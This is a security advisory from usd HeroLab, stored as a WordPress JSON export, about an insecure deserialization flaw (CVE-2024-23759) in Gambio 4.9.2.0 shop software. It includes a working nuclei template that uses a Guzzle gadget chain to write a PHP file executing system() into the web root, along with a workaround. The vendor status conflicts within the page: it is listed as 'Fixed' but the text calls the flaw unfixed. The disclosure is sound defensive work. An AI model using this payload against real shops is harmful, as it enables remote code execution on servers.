{"id":22052,"date":"2024-01-19T14:28:06","date_gmt":"2024-01-19T13:28:06","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=22052"},"modified":"2024-02-07T12:30:20","modified_gmt":"2024-02-07T11:30:20","slug":"usd-2023-0046","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2023-0046\/","title":{"rendered":"usd-2023-0046"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.23.4\" _module_preset=\"default\" custom_padding=\"||13px|||\" global_colors_info=\"{}\"]<\/p>\n<h1><\/h1>\n<h1>usd-2023-0046 | Gambio 4.9.2.0 - Insecure Deserialization<\/h1>\n<h1><\/h1>\n<p><strong>Product<\/strong>: Gambio<br \/><strong>Affected Version<\/strong>: 4.9.2.0<br \/><strong>Vulnerability Type<\/strong>: CWE 502 - Deserialization of Untrusted Data<br \/><strong>Security Risk<\/strong>: Critical<br \/><strong>Vendor URL<\/strong>: <a href=\"https:\/\/www.gambio.de\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.gambio.de\/<\/a><br \/><strong>Vendor Status<\/strong>: Fixed<br \/><strong>CVE Number<\/strong>: CVE-2024-23759<\/p>\n<h3>Description<\/h3>\n<p>Gambio is software designed for running online shops.<br \/>It provides various features and tools to help businesses manage their inventory, process orders, and handle customer interactions.<\/p>\n<p>According to their homepage, the software is used by more than 25.000 shops.<\/p>\n<p>The identified vulnerability within Gambio pertains to an insecure deserialization flaw, which ultimately allows an attacker to execute remote code on affected systems.<br \/>Deserialization is a process that restores objects from their serialized form, often used for the exchange of data between different applications or components within a software system.<br \/>However, if this process is not adequately implemented or secured, it can be exploited by malicious actors to execute arbitrary code remotely.<\/p>\n<p><strong>Note:<\/strong> Upon discovery, our team immediately initiated the responsible disclosure process by contacting the vendor behind Gambio.<br \/>Unfortunately, despite multiple attempts, our attempts to engage the vendor in resolving this issue have been met with silence.<br \/>The vulnerability is still unfixed.<\/p>\n<p>The insecure deserialization vulnerability discovered in Gambio poses a significant risk to affected systems.<br \/>As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands, potentially resulting in complete system compromise, data exfiltration, or unauthorized access to sensitive information.<\/p>\n<p>&nbsp;<\/p>\n<h3>Proof of Concept<\/h3>\n<p>The \"search\" parameter of the \"Parcelshopfinder\/AddAddressBookEntry\" function is deserialized.<\/p>\n<p>The <strong>ParcelshopfinderController.inc.php<\/strong> file contains the vulnerable function in line 291:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"x\" style=\"background: #263238\">    $postnumber = abs(filter_var($postnumber, FILTER_SANITIZE_NUMBER_INT));<\/span><span class=\"x\" style=\"background: #263238\">    if ($postnumber == 0 || $this-&gt;isValidPostnummer($postnumber) !== true) {<\/span><span class=\"x\" style=\"background: #263238\">        $search    = unserialize(base64_decode($this-&gt;_getPostData('search')));<\/span><span class=\"x\" style=\"background: #263238\">        $psfParams = [<\/span><span class=\"x\" style=\"background: #263238\">            'street'          =&gt; $search[0],<\/span><span class=\"x\" style=\"background: #263238\">            'house'           =&gt; $search[1],<\/span><span class=\"x\" style=\"background: #263238\">            'zip'             =&gt; $search[2],<\/span><span class=\"x\" style=\"background: #263238\">            'city'            =&gt; $search[3],<\/span><span class=\"x\" style=\"background: #263238\">            'country'         =&gt; $search[4],<\/span><span class=\"x\" style=\"background: #263238\">            'firstname'       =&gt; $firstname,<\/span><span class=\"x\" style=\"background: #263238\">            'lastname'        =&gt; $lastname,<\/span><span class=\"x\" style=\"background: #263238\">            'postnumber'      =&gt; $postnumber,<\/span><span class=\"x\" style=\"background: #263238\">            'additional_info' =&gt; $additional_info,<\/span><span class=\"x\" style=\"background: #263238\">            'error'           =&gt; 'invalid_postnumber',<\/span><span class=\"x\" style=\"background: #263238\">        ];<\/span><span class=\"x\" style=\"background: #263238\">    }<\/span><\/pre>\n<\/div>\n<p>The serialized data must be base64 encoded, as shown in line 3 in the snippet above.<br \/>The application is using \"Guzzle\" which can be used as a gadget chain to receive arbitrary code execution by writing arbitrary files.<\/p>\n<p>The following nuclei template was created to check for the vulnerability:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">id<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">gambio-php-object-injection<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">info<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">  <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">name<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">PHP Object injection in Gambio<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">  <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">description<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">PHP object injection in Gambio. Writes a file into the web root as a proof<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">  <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">tags<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">gambio,php<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">  <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">author<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">ChristianPoeschl,LukasSchraven<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">  <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">severity<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">critical  <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">variables<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">gambiouser<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"{{rand_base(10)}}\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">filename<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"my_products.php\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">payload2<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"&lt;?php<\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\"> <\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">echo<\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\"> <\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">system('whoami');?&gt;\"<\/span><span class=\"w\" style=\"background: #263238\">    d<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">ata<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">'O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"{{hex_decode(\"00\")}}GuzzleHttp\\Cookie\\CookieJar{{hex_decode(\"00\")}}cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"{{hex_decode(\"00\")}}GuzzleHttp\\Cookie\\SetCookie{{hex_decode(\"00\")}}data\";a:9:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:{{len(payload2)}}:\"{{payload2}}\";s:4:\"Path\";s:1:\"\/\";s:4:\"Name\";s:4:\"test\";s:6:\"Domain\";s:13:\"test.test.com\";s:6:\"Secure\";b:0;s:8:\"Httponly\";b:0;s:7:\"Max-Age\";i:3;}}}s:39:\"{{hex_decode(\"00\")}}GuzzleHttp\\Cookie\\CookieJar{{hex_decode(\"00\")}}strictMode\";N;s:41:\"{{hex_decode(\"00\")}}GuzzleHttp\\Cookie\\FileCookieJar{{hex_decode(\"00\")}}filename\";s:{{len(filename)}}:\"{{filename}}\";s:52:\"{{hex_decode(\"00\")}}GuzzleHttp\\Cookie\\FileCookieJar{{hex_decode(\"00\")}}storeSessionCookies\";b:1;}'<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">http<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">  <\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\"># create guest user<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">  <\/span><span class=\"p p-Indicator\" style=\"background: #263238;color: #89ddff\">-<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">raw<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"p p-Indicator\" style=\"background: #263238;color: #89ddff\">-<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> |      <\/span><span class=\"no\" style=\"background: #263238;color: #eff\">POST \/shop.php?do=CreateGuest\/Proceed HTTP\/1.1<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">      <\/span><span class=\"no\" style=\"background: #263238;color: #eff\">Host: {{Hostname}}<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">      <\/span><span class=\"no\" style=\"background: #263238;color: #eff\">Content-Type: application\/x-www-form-urlencoded<\/span><\/pre>\n<pre><span class=\"w\" style=\"background: #263238;color: #eff\"> \u00a0\u00a0\u00a0\u00a0 <\/span><span class=\"no\" style=\"background: #263238;color: #eff\">firstname=vvvv&amp;lastname=vvvv&amp;email_address={{gambiouser}}%40example.com&amp;email_address_confirm={{gambiouser}}%40example.com&amp;b2b_status=0&amp;company=&amp;vat=&amp;street_address=asd%3C+1&amp;postcode=11111&amp;city=11111&amp;country=81&amp;telephone=%2B4912312312312&amp;fax=&amp;action=process<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\">  <\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\"># attack<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\">  <\/span><span class=\"p p-Indicator\" style=\"background: #263238;color: #89ddff\">-<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">raw<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"p p-Indicator\" style=\"background: #263238;color: #89ddff\">-<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p p-Indicator\" style=\"background: #263238;color: #89ddff\">|<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\">      <\/span><span class=\"no\" style=\"background: #263238;color: #eff\">POST \/shop.php?do=Parcelshopfinder\/AddAddressBookEntry HTTP\/1.1<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\">      <\/span><span class=\"no\" style=\"background: #263238;color: #eff\">Host: {{Hostname}}<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\">      <\/span><span class=\"no\" style=\"background: #263238;color: #eff\">Content-Type: application\/x-www-form-urlencoded<\/span><\/pre>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"no\" style=\"background: #263238;color: #eff\">checkout_started=0&amp;search={{base64(data)}}&amp;street_address=t&amp;house_number=1&amp;additional_info=&amp;postcode=1&amp;city=t&amp;country=DE&amp;firstname=t&amp;lastname=t&amp;postnumber=111111&amp;psf_name=t<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <br \/><\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">matchers<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p p-Indicator\" style=\"background: #263238;color: #89ddff\">-<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">type<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">dsl<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">name<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">php-version-payload-mismatch<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">dsl<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p p-Indicator\" style=\"background: #263238;color: #89ddff\">-<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">status_code == 500 &amp;&amp; !contains(body, \"Cannot use object of type GuzzleHttp\")<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p p-Indicator\" style=\"background: #263238;color: #89ddff\">-<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">type<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">dsl<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">dsl<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<br \/><\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p p-Indicator\" style=\"background: #263238;color: #89ddff\">-<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"l l-Scalar l-Scalar-Plain\" style=\"background: #263238;color: #c3e88d\">status_code == 500 &amp;&amp; contains(body, \"Cannot use object of type GuzzleHttp\")<\/span><\/p>\n<\/div>\n<p>In the first step, a new guest user is created. This can be done in an automated way, while <em>normal<\/em> user accounts need to solve a captcha.<br \/>The template is creating a new file \"my_products.php\" containing the current username.<\/p>\n<h3>Fix<\/h3>\n<p>It is recommended to deserialize objects only from trusted sources.<\/p>\n<p>To workaround the vulnerability, Gambio users can disable the functionality the hard way and add a <strong>die('disabled')<\/strong> after line 257. Similar to the snippet below:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"x\" style=\"background: #263238\">    public function actionAddAddressBookEntry()<\/span><span class=\"x\" style=\"background: #263238\">    {<\/span><span class=\"x\" style=\"background: #263238\">        die('disabled');<\/span><span class=\"x\" style=\"background: #263238\">        if (empty($_SESSION['customer_id'])) {<\/span><span class=\"x\" style=\"background: #263238\">            return MainFactory::create('RedirectHttpControllerResponse', xtc_href_link(FILENAME_DEFAULT, '', 'SSL'));<\/span><span class=\"x\" style=\"background: #263238\">        }<\/span><\/pre>\n<\/div>\n<p>Please pay attention that this may break some functionality, as this workaround was not tested!<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/www.gambio.de\" target=\"_blank\" rel=\"noopener\">https:\/\/www.gambio.de<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2023-12-08<\/strong>: First contact request via email.<\/li>\n<li><strong>2023-12-21<\/strong>: Second contact request via email.<\/li>\n<li><strong>2024-01-19<\/strong>: This advisory is published.<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Christian Poeschl and Lukas Schraven of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2023-0046 | Gambio 4.9.2.0 - Insecure Deserialization Product: GambioAffected Version: 4.9.2.0Vulnerability Type: CWE 502 - Deserialization of Untrusted DataSecurity Risk: CriticalVendor URL: https:\/\/www.gambio.de\/Vendor Status: FixedCVE Number: CVE-2024-23759 Description Gambio is software designed for running online shops.It provides various features and tools to help businesses manage their inventory, process orders, and handle customer interactions. According to [&hellip;]<\/p>\n","protected":false},"author":115,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-22052","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22052","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/115"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=22052"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22052\/revisions"}],"predecessor-version":[{"id":22350,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22052\/revisions\/22350"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=22052"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}